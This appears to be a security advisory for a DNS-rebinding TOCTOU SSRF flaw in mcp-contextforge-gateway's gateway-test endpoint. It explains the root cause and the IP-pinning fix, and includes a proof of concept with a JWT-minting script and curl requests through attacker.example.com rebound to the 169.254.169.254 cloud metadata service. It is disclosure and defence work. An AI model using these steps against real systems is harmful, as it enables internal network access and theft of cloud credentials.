Easily map the attack path and prioritize which CVEs are a threat to your organization
Miggo AIGenerate vendor-ready rules for the observed attack patterns, plus reasoning and safe deployment guidance
Miggo AIRoot Cause AnalysisThe vulnerability is a classic Time-of-check Time-of-use (TOCTOU) race condition in the /admin/gateways/test endpoint, exploitable via DNS rebinding. The system's logic for testing a gateway URL was split into two disconnected steps:
Check (Validation): The mcpgateway.common.validators.validate_gateway_test_url function would resolve the hostname from the user-provided URL to an IP address and check it against a blocklist of private/internal network ranges. This was intended to prevent Server-Side Request Forgery (SSRF).
Use (Connection): The mcpgateway.admin.admin_test_gateway function, which handles the API request, would then use the original hostname (not the validated IP address) to make an HTTP request with the ResilientHttpClient.
The vulnerability lies in the gap between these two steps. The HTTP client performs its own, second DNS resolution at the time of connection. An attacker can set up a malicious DNS server with a very short Time-To-Live (TTL) that first responds with a safe, public IP address during the validation step. Immediately after validation, the attacker's DNS server changes the record to point to a private, internal IP address (e.g., 169.254.169.254 for cloud metadata services). When the HTTP client makes the actual request, it re-resolves the hostname and connects to the malicious internal IP, bypassing the SSRF protection.
The patch addresses this by implementing IP pinning. The validate_gateway_test_url function was modified to return the safe, resolved IP address. The admin_test_gateway function was updated to use this pinned IP for the outbound connection while setting the Host header and TLS SNI extension to the original hostname, thus closing the TOCTOU window.
admin_test_gatewaymcpgateway/admin.py
validate_gateway_test_urlmcpgateway/common/validators.py
| Package Name | Ecosystem | Vulnerable Versions | First Patched Version |
|---|---|---|---|
| mcp-contextforge-gateway | pip | < 1.0.3 | 1.0.3 |
validate_gateway_test_url"DNS TOCTOU Limitation: This validation resolves DNS at validation time, but the HTTP client will re-resolve DNS at connection time. An attacker controlling DNS can return a public IP during validation and a private IP during connection (DNS rebinding). True mitigation requires pinning the validated IP into the connection (custom resolver/transport, or IP allowlist check at connect callback). This is tracked as a known limitation for future improvement."
Location 2 — mcpgateway/admin.py, lines 14025–14029 (call site comment):
"TODO(ICACF-15): DNS rebinding risk — allowlist and SSRF checks resolve DNS, but the actual ResilientHttpClient request resolves DNS a third time. An attacker-controlled DNS server could return a public IP during validation and a private IP during the actual request. Consider pinning the resolved IP for outbound requests (custom transport) or caching DNS resolution across validation and request phases."
The existence of a named TODO ticket (ICACF-15) confirms the maintainers consider this an open, tracked defect.
MCPGATEWAY_ADMIN_API_ENABLED=true (not the default; must be explicitly
enabled by an operator).gateways.read permission
assigned via a database role.Regarding prerequisite 2: the endpoint is decorated with @require_permission("gateways.read", allow_admin_bypass=False). The allow_admin_bypass=False flag explicitly disables the platform-admin shortcut, meaning even a platform admin must hold an explicit database-backed role assignment that carries gateways.read. A credential produced solely via the platform-admin bootstrap bypass described in the companion advisory (GHSA-m8rv-5m6m-32ff) — a virtual identity with no database record — is rejected with HTTP 403 at this endpoint because no role lookup can succeed without a database row. An attacker who has forged a JWT via that bootstrap path does not automatically gain access to this endpoint; they still require a separately provisioned account with an appropriate role.
cd /opt/mcp-cf-test
MCPGATEWAY_ADMIN_API_ENABLED=true \
JWT_SECRET_KEY=my-test-key-but-now-longer-than-32-bytes \
uvicorn mcpgateway.main:app --host 0.0.0.0 --port 8000 &
sleep 5
The exploit requires a credential for a user who exists in the database with a role carrying gateways.read (e.g., platform_admin, which holds the * wildcard). Register a user through the Admin UI or API and assign the platform_admin role, then generate a JWT:
import datetime, jwt, uuid
SECRET = "my-test-key-but-now-longer-than-32-bytes"
EMAIL = "admin@example.com" # must have platform_admin role in DB
now = datetime.datetime.now(datetime.timezone.utc)
payload = {
"sub": EMAIL,
"aud": "mcpgateway-api",
"iss": "mcpgateway",
"jti": str(uuid.uuid4()),
"iat": now,
"exp": now + datetime.timedelta(hours=1),
}
print(jwt.encode(payload, SECRET, algorithm="HS256"), end="")
TOKEN=$(python3 /tmp/gen_token.py)
Submitting a literal private IP is blocked unconditionally before any DNS resolution occurs:
curl -s -w "\nHTTP %{http_code}\n" \
-X POST http://127.0.0.1:8000/admin/gateways/test \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"url": "http://169.254.169.254/latest/meta-data/", "method": "GET"}'
# Expected: HTTP 400 — "Invalid gateway URL"
attacker.example.com with TTL set to 1 second.attacker.example.com → 1.2.3.4 (any public IP).curl -s -w "\nHTTP %{http_code}\n" \
-X POST http://127.0.0.1:8000/admin/gateways/test \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"url": "http://attacker.example.com/latest/meta-data/", "method": "GET"}'
validate_gateway_test_url() resolves attacker.example.com → 1.2.3.4;
all SSRF checks pass.attacker.example.com → 169.254.169.254.httpx independently re-resolves the hostname and connects to
169.254.169.254.Standard DNS rebinding infrastructure (e.g., rbndr.us) reliably achieves this window against the 1-second TTL. In cloud environments with IMDSv2 disabled or not enforced, the response contains IAM role credentials.
Server-Side Request Forgery against internal services and cloud instance metadata. An attacker with a sufficiently privileged credential can probe internal network services, retrieve cloud credentials from 169.254.169.254/latest/meta-data/iam/security credentials/, access internal APIs not exposed to the internet, or conduct port scanning of the internal network. In cloud environments where IMDSv1 is accessible, this can lead to full cloud account compromise through metadata-service credential theft.
After DNS validation passes, pin the connection to the validated IP address rather than re-passing the hostname to the HTTP client. Implement this via a custom httpx transport or resolver that binds the socket to the already-resolved address and sets the Host header to the original hostname. Additionally, enforce a maximum DNS resolution age and refuse to connect if the elapsed time between validation and connection exceeds a configurable threshold. The codebase already tracks this requirement under TODO ICACF-15; the suggested fix closes it.